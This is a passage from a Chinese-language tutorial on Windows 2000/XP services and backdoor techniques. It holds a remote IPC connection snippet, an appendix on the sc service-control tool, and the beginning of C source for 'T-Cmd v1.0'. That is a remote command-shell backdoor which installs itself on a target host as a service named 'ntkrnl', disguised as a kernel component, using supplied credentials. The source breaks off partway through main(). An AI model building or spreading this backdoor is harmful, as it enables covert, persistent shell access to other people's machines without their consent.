|
浅析Windows 2000/XP服务与后门技术(4) dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE); //与远程主机建立连接; WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); //与远程主机结束连接;
六、附录
1.SC简介
SC是一个与NT服务控制器,服务进程进行通信的控制台程序,它可以查询和修改已安装服务的数据库。
语法:sc <server> [command] [service name] <option1> <option2>... ,选项<server>为“\\ServerName”的形式。
主要的命令包括:query,config,qc,delete,create,GetDisplayName,GetKeyName,EnumDepend等。
2.T-Cmd v1.0 源代码
#include <windows.h> #include <stdio.h>
#define BUFFER_SIZE 1024
typedef struct { HANDLE hPipe; SOCKET sClient; }SESSIONDATA,*PSESSIONDATA;
typedef struct PROCESSDATA { HANDLE hProcess; DWORD dwProcessId; struct PROCESSDATA *next; }PROCESSDATA,*PPROCESSDATA;
HANDLE hMutex; PPROCESSDATA lpProcessDataHead; PPROCESSDATA lpProcessDataEnd; SERVICE_STATUS ServiceStatus; SERVICE_STATUS_HANDLE ServiceStatusHandle;
void WINAPI CmdStart(DWORD,LPTSTR *); void WINAPI CmdControl(DWORD);
DWORD WINAPI CmdService(LPVOID); DWORD WINAPI CmdShell(LPVOID); DWORD WINAPI ReadShell(LPVOID); DWORD WINAPI WriteShell(LPVOID);
BOOL ConnectRemote(BOOL,char *,char *,char *); void InstallCmdService(char *); void RemoveCmdService(char *);
void Start(void); void Usage(void);
int main(int argc,char *argv[]) { SERVICE_TABLE_ENTRY DispatchTable[] = { {"ntkrnl",CmdStart}, {NULL ,NULL } };
if(argc==5) { if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE) { return -1; }
if(!stricmp(argv[1],"-install")) { InstallCmdService(argv[2]); } else if(!stricmp(argv[1],"-remove")) { RemoveCmdService(argv[2]); }
if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE) { return -1; } return 0;
|